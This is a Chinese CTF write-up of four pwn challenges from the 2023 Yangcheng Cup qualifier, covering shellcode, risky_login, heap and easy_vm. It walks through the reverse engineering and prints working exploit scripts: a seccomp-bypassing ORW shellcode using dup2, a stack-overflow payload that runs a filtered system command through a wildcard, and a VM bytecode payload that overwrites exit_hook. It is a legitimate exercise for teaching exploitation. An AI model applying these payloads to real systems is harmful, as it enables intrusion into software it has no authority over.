羊城杯2023初赛复现 shellcode 通过逆向分析一下,发现是存在一个16字节的输入,会将该输入当成代码去执行,并且限制在了0x4e到0x5F之间
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 memset (s, 0 , 16uLL ); puts ("[5] ======== Input Your P0P Code ========" ); for ( buf = s; buf; buf = (buf + 1 ) ) { read(0 , buf, 1uLL ); if ( (buf - s) >> 4 > 0 ) break ; } while ( *v4 && *v4 > 0x4E && *v4 <= 0x5F ) { ++v2; v4 = (v4 + 1 ); } .text:00000000000014 EE 48 8B 45 D8 mov rax, [rbp+var_28] .text:00000000000014F 2 FF D0 call rax
在执行前,还开启了seccomp的沙箱保护,了解了一下0x7FFF0000LL是允许的意思,就是说,这里只允许0,1,2,33号系统调用,其他的都会被禁止
1 2 3 4 5 6 7 8 9 10 __int64 seccomp () { __int64 v1; v1 = seccomp_init(0LL ); seccomp_rule_add(v1, 0x7FFF0000L L, 2LL , 0LL ); seccomp_rule_add(v1, 0x7FFF0000L L, 0LL , 1LL ); seccomp_rule_add(v1, 0x7FFF0000L L, 1LL , 1LL ); seccomp_rule_add(v1, 0x7FFF0000L L, 33LL , 0LL ); return seccomp_load(v1);
再查一下系统调用号,33系统调用是网络交换socket的系统调用
%rax
System call
%rdi
%rsi
%rdx
%r10
%r8
0
sys_read
unsigned int fd
char *buf
size_t count
1
sys_write
unsigned int fd
const char *buf
size_t count
2
sys_open
const char *filename
int flags
int mode
3
sys_close
unsigned int fd
4
sys_stat
const char *filename
struct stat *statbuf
0x3b
execve
“/bin/sh”
0
0
于是我们去查一下0x4e到0x5f是什么代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ; 字节码 0x4E 到 0x5F 组合 dec esi push edi push eax push ecx push edx push esi push ebp push ebx push ebp push esi pop eax pop ecx pop edx pop esi pop ebp pop ebx pop ebp pop esi
我们知道了都是pop和push的汇编,但是无法输入syscall这个汇编,字节码为\x0f\x05,于是可以想到我们可以利用前面的二字节输入去输入syscall,然后利用pop和push将那个汇编转移到输入后面,再构造读取数据的汇编然后写ORW的shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 def exploit (): li('exploit...' ) sa(b'[2] Input: (ye / no)\n' , asm('syscall' )) db() sa(b'[5] ======== Input Your P0P Code ========\n' , asm( ''' push rax pop rsi push rbx pop rax push rbx pop rdi pop rcx pop rcx pop rsp pop rbp push rbp push rbp push rbp push rbp push rbp pop rdx ''' ).ljust(17 , b'Y' )) pause() s(b'\x90' * 0x12 + asm( ''' sub rsp, 0x2000 mov eax, 0x67616c66 ;// flag push rax mov rdi, rsp xor eax, eax mov esi, eax mov al, 2 syscall ;// open push rax mov rsi, rsp xor eax, eax mov edx, eax inc eax mov edi, eax mov rcx, 0x8000000000000000 add rdi, rcx mov dl, 8 syscall ;// write open() return value pop rax test rax, rax js over mov edi, eax mov esi, 0 mov eax, 33 syscall ;// dup2 mov edi, 0 mov rsi, rsp mov edx, 0x01010201 sub edx, 0x01010101 xor eax, eax syscall ;// read mov edx, eax mov rsi, rsp xor eax, eax inc eax mov edi, eax mov rcx, 0x8000000000000000 add rdi, rcx syscall ;// write over: xor edi, edi mov eax, 0x010101e8 sub eax, 0x01010101 syscall ;// exit ''' ))
第二种方法 这种方法也不算第二种,只是在做题时没考虑到,看其他师傅的wp才发现的,在输入shellcode的那个判断,可以输入17个字符,但是检测只做了16个,最后一个没有检测,对比第一种解法,能更简单的更改执行流程
1 2 3 4 5 6 for ( buf = (char *)s; buf; ++buf ){ read(0 , buf, 1uLL ); if ( (buf - (char *)s) >> 4 > 0 ) break ; }
并且我发现在前面的shellcode我没有研究一下,所以没看到这个沙箱还限制了fd的大小,限制了read的fd要<=2,write的fd必须大于2,所幸可以使用dup2。dup2是重定向函数,可以将文件描述符复制给其他fd,其实学了IO_FILE就知道,就是把IO_FILE结构体复制过去了,下面就是Exp了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 def exploit (): li('exploit...' ) db() sa(b'no)' ,asm('syscall' )) shellcode=''' push rax pop rax push rax pop rax#fake padding push rbx pop rax#0 pop rsi pop rsi pop rsi#0x7ffd451d99c0 ◂— 0x50f push rax pop rdi#0 push rsi pop rsp pop rdx#0x50f push rdx push rsi ret ''' print (len (asm(shellcode))) sa(b'===\n' ,asm(shellcode)) orw_dup2=''' push 0x67616c66 mov rdi,rsp xor esi,esi mov eax,2 syscall #open mov rax,0x21 mov rdi,0x3 mov rsi,0x2 syscall#dup2(3,2) xor rax,rax mov rsi,rsp push 0x2 pop rdi mov rdx,0x30 syscall #read(2,rsp,0x30) mov rax,0x21 mov rdi,0x1 mov rsi,0x5 syscall#dup2(1,5) mov rax,0x1 mov rsi,rsp mov rdi,0x5 syscall#write(5,rsp) ''' s(b'aa' +asm(orw_dup2))
risky_login 也是第一次接触这种古老的架构,gdb的pwndbg插件不支持调试,ida也无法解析F5,于是我们用Ghidra去进行解析,解析出来和IDA没什么区别
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 undefined8 main (void ) { undefined auStack_130 [288 ]; gp = &__global_pointer$; FUN_123456a0(); puts ("RiskY LoG1N SySTem" ); puts ("Input ur name:" ); read(0 ,&DAT_12347078,8 ); printf ("Hello, %s" ); puts ("Input ur words" ); read(0 ,auStack_130,0x120 ); FUN_12345786(auStack_130); puts ("message received" ); return 0 ; } void FUN_12345786 (char *param_1) { size_t sVar1; char acStack_108 [248 ]; gp = &__global_pointer$; sVar1 = strlen (param_1); DAT_12347070 = (byte)sVar1; if (8 < DAT_12347070) { puts ("too long." ); exit (-1 ); } strcpy (acStack_108,param_1); return ; }
这里看得出来,在进行消息传递的时候我们的输入会被复制到一个栈上为248大小的空间,但是我们的输入可以为0x120(288)的数据,栈溢出,然后和amd64的方式是一样的,还存在一个后门函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 void FUN_123456ee (void ) { char *pcVar1; gp = &__global_pointer$; puts ("background debug fun." ); puts ("input what you want exec" ); read(0 ,&DAT_12347078,8 ); pcVar1 = strstr (&DAT_12347078,"sh" ); if ((pcVar1 == (char *)0x0 ) && (pcVar1 = strstr (&DAT_12347078,"flag" ), pcVar1 == (char *)0x0 )) { system(&DAT_12347078); return ; } puts ("no." ); exit (-1 ); }
改后门函数有限制,但是在system这个函数可以使用通配符进行执行,于是我们用通配符绕过即可
1 2 3 4 5 def exploit (): sla('Input ur name:\n' , 'a' ) p1 = b'a' * (0xf8 + 8 ) + p64(0x123456EE ) sla('words\n' , p1) sl('cat fl*' )
heap 堆题,但是涉及到了多线程的利用,典型的多线程就是条件竞争,存在sleep函数和pthread_create函数
1 2 3 4 length = *(*(ptr + 8LL * v2) + 8LL ); sleep(1u ); if ( v2 >= 0 && v2 <= 15 && *(ptr + 8LL * v2) ){
1 if ( pthread_create(&newthread, 0LL , *(&off_4020 + v4), s) )
先分析堆的结构,0x10大小存放指针和大小
1 2 3 4 5 struct paper { void *content_ptr; int len; };
dit里存在条件竞争导致的堆溢出,如果此时edit paper->len=0x68大小的paper,sleep期间,这个paper被释放,并申请了一个长度为0x58大小的paper B,paper B就可以造成0x10大小的堆溢出,可以覆盖掉下一个paper C的管理结构控制content_ptr实现泄露地址和任意地址写
https://grxer.gitee.io/2023/09/07/2023-ycb/#heap
easy_vm 这是一道关于VMPWN的题目,VM的题目一般都是接受字节码,然后对字节码进行解析,然后翻译执行即可
首先逆向分析代码
1 2 3 4 5 6 7 8 9 10 11 12 13 void __fastcall __noreturn main (int a1, char **a2, char **a3) { setvbuf(stdin , 0LL , 2 , 0LL ); setvbuf(stdout , 0LL , 2 , 0LL ); puts ("It's a easy vmpwn,enjoy it" ); ptr = malloc (0x1000u LL); malloc (0x20u LL); free (ptr); ptr = 0LL ; qword_201040 = (__int64)malloc (0x1000u LL); buf = malloc (0x1000u LL); puts ("Inputs your code:" ); read(0 , buf, 0x1000u LL);
可以发现申请了0x1000大小的空间的chunk后又申请了一次,由于前面的申请,导致该chunk被放到了unsortbin里面去了所以,在数据区是存在一个libc的地址的,于是我们可以用该地址去实现libc上的任意地址写,和后面的输入结合起来
后面代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 while ( *(_BYTE *)buf ) { switch ( *(_BYTE *)buf ) { case 1 : qword_201040 += 8LL ; *(_QWORD *)qword_201040 = qword_201038; buf = (char *)buf + 8 ; break ; case 2 : qword_201038 = *(_QWORD *)qword_201040; qword_201040 -= 8LL ; buf = (char *)buf + 8 ; break ; case 3 : *(_QWORD *)qword_201038 = *(_QWORD *)qword_201040; buf = (char *)buf + 8 ; break ; case 4 : qword_201038 ^= *((_QWORD *)buf + 1 ); buf = (char *)buf + 16 ; break ; case 5 : qword_201038 = *(_QWORD *)qword_201038; buf = (char *)buf + 8 ; break ; case 6 : qword_201038 += *((_QWORD *)buf + 1 ); buf = (char *)buf + 16 ; break ; case 7 : qword_201038 -= *((_QWORD *)buf + 1 ); buf = (char *)buf + 16 ; break ; default : buf = (char *)buf + 8 ; break ; } } exit (0 )
给了libc,能够得到one_gadget和exit_hook的地址,于是我们将exit_hook改为one_gadget(ogg)即可
于是WP如下
1 2 3 4 5 6 7 8 9 10 11 12 13 ogg=[0x45206 ,0x4525a ,0xef9f4 ,0xf0897 ] code=flat( 2 , 7 ,0x3c3b78 , 6 ,ogg[3 ], 1 , 7 ,ogg[3 ], 6 ,0x626f48 , 3 ) sa(b'code:' ,code) io.interactive()